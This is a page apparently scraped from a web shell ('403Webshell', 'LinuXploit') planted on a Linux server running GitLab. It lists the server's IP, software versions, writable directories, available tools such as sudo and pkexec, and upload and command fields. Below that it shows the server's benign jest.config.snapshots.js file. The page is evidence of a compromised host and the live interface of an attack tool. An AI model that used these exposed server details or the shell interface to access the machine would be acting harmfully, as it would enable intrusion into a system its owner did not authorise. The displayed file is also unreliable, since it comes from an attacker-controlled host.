403Webshell
Server IP : 188.151.22.197  /  Your IP : 216.73.217.74
Web Server : Apache/2.4.62 (Rocky Linux) OpenSSL/3.5.5
System : Linux wsten.se 5.14.0-687.30.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jul 27 13:09:21 UTC 2026 x86_64
User : apache ( 48)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/gitlab/embedded/service/gitlab-rails/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/gitlab/embedded/service/gitlab-rails/jest.config.snapshots.js
const fs = require('fs');
const path = require('path');
const baseConfig = require('./jest.config.base');

function findSnapshotTestsFromDir(dir, results = []) {
  fs.readdirSync(dir).forEach((file) => {
    const fullPath = path.join(dir, file);
    if (fs.lstatSync(fullPath).isDirectory()) {
      findSnapshotTestsFromDir(fullPath, results);
    } else {
      const fileContent = fs.readFileSync(fullPath, 'utf8');
      if (/toMatchSnapshot|toMatchInlineSnapshot/.test(fileContent)) {
        results.push(`<rootDir>/${fullPath}`);
      }
    }
  });
  return results;
}

function saveArrayToFile(array, fileName) {
  fs.writeFile(fileName, JSON.stringify(array, null, 2), (err) => {
    if (err) {
      console.error(`Error writing Array data to ${fileName}:`, err);
    }
  });
}

module.exports = () => {
  const testMatch = [
    ...findSnapshotTestsFromDir('spec/frontend'),
    ...findSnapshotTestsFromDir('ee/spec/frontend'),
  ];

  const { CI, SNAPSHOT_TEST_MATCH_FILE } = process.env;
  if (CI && SNAPSHOT_TEST_MATCH_FILE) {
    saveArrayToFile(testMatch, SNAPSHOT_TEST_MATCH_FILE);
  }

  return {
    ...baseConfig('spec/frontend'),
    roots: ['<rootDir>/spec/frontend'],
    rootsEE: ['<rootDir>/ee/spec/frontend'],
    rootsJH: ['<rootDir>/jh/spec/frontend'],
    testMatch,
  };
};

Youez - 2016 - github.com/yon3zu
LinuXploit